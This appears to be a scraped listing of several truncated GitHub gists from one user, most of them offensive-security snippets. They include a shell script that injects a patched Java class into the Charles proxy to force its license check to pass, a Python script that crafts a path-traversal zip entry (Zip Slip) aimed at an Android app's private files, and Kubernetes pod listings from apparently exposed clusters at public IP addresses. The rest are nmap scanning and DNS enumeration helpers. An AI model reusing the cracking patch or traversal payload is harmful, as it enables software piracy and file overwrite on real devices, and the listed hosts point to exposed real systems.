This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| charles=/Applications/Charles.app/Contents/Java/charles.jar | |
| dir=charleshack | |
| mkdir $dir | |
| cd $dir | |
| cat >> psPJ.java <<EOF | |
| package com.xk72.charles; | |
| public final class psPJ { | |
| public static boolean qIvM() { return true; } | |
| public static String tCiz() { return "https://0x0d.im"; } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http://40.74.244.42:8080 | |
| NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE | |
| authapp postman-6ukzs 1/1 Running 0 9d 11.11.35.4 k8s-infraservice-1790420-3-1938179 | |
| authapp postman-qaroj 1/1 Running 0 9d 11.11.2.5 k8s-infraservice-1790420-4-1938185 | |
| authapp postman-spkd3 1/1 Running 0 9d 11.11.35.3 k8s-infraservice-1790420-3-1938179 | |
| authapp postman-wm6gj 1/1 Running 0 9d 11.11.62.2 k8s-infraservice-1790420-1-1938167 | |
| authapp postman-xq0yl 1/1 Running 0 9d 11.11.33.2 k8s-infraservice-1790420-2-1938173 | |
| authapp sphinx-qhyhh 1/1 Running 0 9d 11.11.62.4 k8s-infraservice-1790420-1-1938167 | |
| default busybox 1/1 Running 228 9d 11.11.35.5 k8s-infraservice-1790420-3-1938179 | |
| default my-nginx-13r91 1/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http://40.125.203.167:8080 | |
| NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE | |
| default rc-tomcat-bdfnq 1/1 Running 0 2h 172.17.0.2 boc-dev-server002 | |
| http://120.132.83.221:8001 | |
| NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE | |
| default busybox 1/1 Running 0 27d 172.20.17.2 192.168.1.15 | |
| default nginx 1/1 Running 0 10d 172.20.74.2 192.168.1.14 | |
| default nginx-wyy 1/1 Running 0 4d 172.20.83.5 192.168.1.16 | |
| default nginx-wyy-2 1/1 Running 0 4d 172.20.74.3 192.168.1.14 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #/usr/bin/env python | |
| #-*-coding:utf8-*- | |
| import Queue | |
| import time | |
| import sys | |
| import logging | |
| import threading | |
| from libnmap.process import NmapProcess |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import zipfile | |
| import sys | |
| if __name__ == "__main__": | |
| try: | |
| with open("test.txt", "r") as f: | |
| binary = f.read() | |
| zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) | |
| info = zipfile.ZipInfo("test.zip") | |
| zipFile.writestr("../../../../../data/data/com.corp.demo/files/test.txt", binary) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import json | |
| import sys | |
| import requests | |
| requests.packages.urllib3.disable_warnings() | |
| domain = sys.argv[1] | |
| url = 'https://api.passivetotal.org/v2/dns/search/keyword' | |
| auth = ("your_email", "your_api_key") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sys | |
| import json | |
| import dns.resolver | |
| resolver = dns.resolver.Resolver() | |
| resolver.nameservers = ['8.8.8.8'] | |
| result = set() | |
| domain_file = sys.argv[1] | |
| with open(domain_file) as raw_domain: |